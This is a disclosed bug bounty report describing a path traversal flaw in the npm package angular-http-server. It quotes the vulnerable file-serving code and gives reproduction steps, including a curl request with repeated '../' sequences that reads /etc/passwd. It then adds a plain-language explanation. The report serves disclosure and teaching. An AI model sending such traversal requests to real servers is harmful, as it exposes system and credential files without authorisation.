[angular-http-server] Path Traversal in angular-http-server.js allows to read arbitrary file from the remote server
The angular-http-server module does not sanitise request paths, so an attacker can use directory traversal sequences to read any file on the server. This allows reading sensitive files such as /etc/passwd.
- Triaged in 12 hours
- Fixed in 5 days
- Disclosed after 35 days
Hi Guys,
angular-http-server (https://www.npmjs.com/package/angular-http-server) contains Path Traversal vulnerability, which allows malicious user to read content of any file with known path.
Module:
A very simple application server designed for Single Page App (SPA) developers. (https://www.npmjs.com/package/angular-http-server)
Description
angular-http-server does not sanitize path in the correct way, so curl can be used to retrieve content of any file from the remote server.
Vulnerable code in angular-http-server.js file (lines 66-82):
fs.stat(possibleFilename, function(err, stats) {
var fileBuffer;
if (!err && stats.isFile()) {
fileBuffer = fs.readFileSync(possibleFilename);
let ct = mime.lookup(possibleFilename);
console.log(`Sending ${possibleFilename} with Content-Type ${ct}`);
res.writeHead(200, { 'Content-Type': ct });
} else {
console.log("Route %s, replacing with index.html", possibleFilename);
fileBuffer = returnDistFile();
res.writeHead(200, { 'Content-Type': 'text/html' });
}
res.write(fileBuffer);
res.end();
});
File with possibleFilename name is read and send with guessed mime type. No path or allowed mime type validation is implemented - if it's possible to read the file, code just does it.
Steps To Reproduce:
- install
angular-http-server
$ npm install angular-http-server
- create static
index.htmlfile (required as starting point of an app:
<html>
<head>
<meta charset="utf8">
<title>Index HTML</title>
</head>
<body>
<div>
<p>This is index.html :)</p>
</div>
</body>
</html>
- run server in the same folder where
index.htmlwas created:
$ angular-http-server --path ./
-
open the browser and go to
127.0.0.1:8080You should see HTML output. -
from the terminal, execute folloiwng command (please adjust numbers of ../ to your system):
$ curl -v --path-as-is http://127.0.0.1:8080/../../../../../etc/passwd
You should see the content of /etc/passwd file:
Also, in the angular-http-server log there is information about mime type of the file (application/octet-stream):
$ ./node_modules/angular-http-server/angular-http-server.js --path ./
Path specified: ./
Using index.html
Listening on 8080
Sending ../../../../../etc/passwd with Content-Type application/octet-stream
Supporting Material/References:
Configuration I've used to find this vulnerability:
- macOS HighSierra 10.13.3
- node 8.9.3
- npm 5.5.1
- curl 7.54.0
Wrap up
I hope this report will help to keep Node ecosystem more safe. If you have any questions about any details of this finding, please let me know in comment.
Thank you
Regards,
Rafal 'bl4de' Janicki
Impact
This vulnerability allows malicious user to read content of any file on the machine where angular-http-server is running.
This might expose vectors to attack system with Remote Code Execution, reveals files with usernames and passwords and many other possibilites.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The server constructs a file path from user input without validating or normalising it, allowing directory traversal.
Impact
An attacker could read any file on the server, potentially exposing credentials and possibly enabling further attacks such as remote code execution.
What the attacker needed
Server running angular-http-server; attacker can send HTTP requests
How it was found
- Install angular-http-server.
- Create an index.html file in a folder.
- Run the server with --path pointing to that folder.
- Send a request with directory traversal sequences to read /etc/passwd.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A web server that serves static files should only allow access to files inside the folder it is meant to serve. Here, the server took the requested file path and used it directly without checking for '..' sequences, which mean 'go up one folder'. By sending enough of these, an attacker could escape the intended folder and read any file on the machine, like the list of user accounts.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.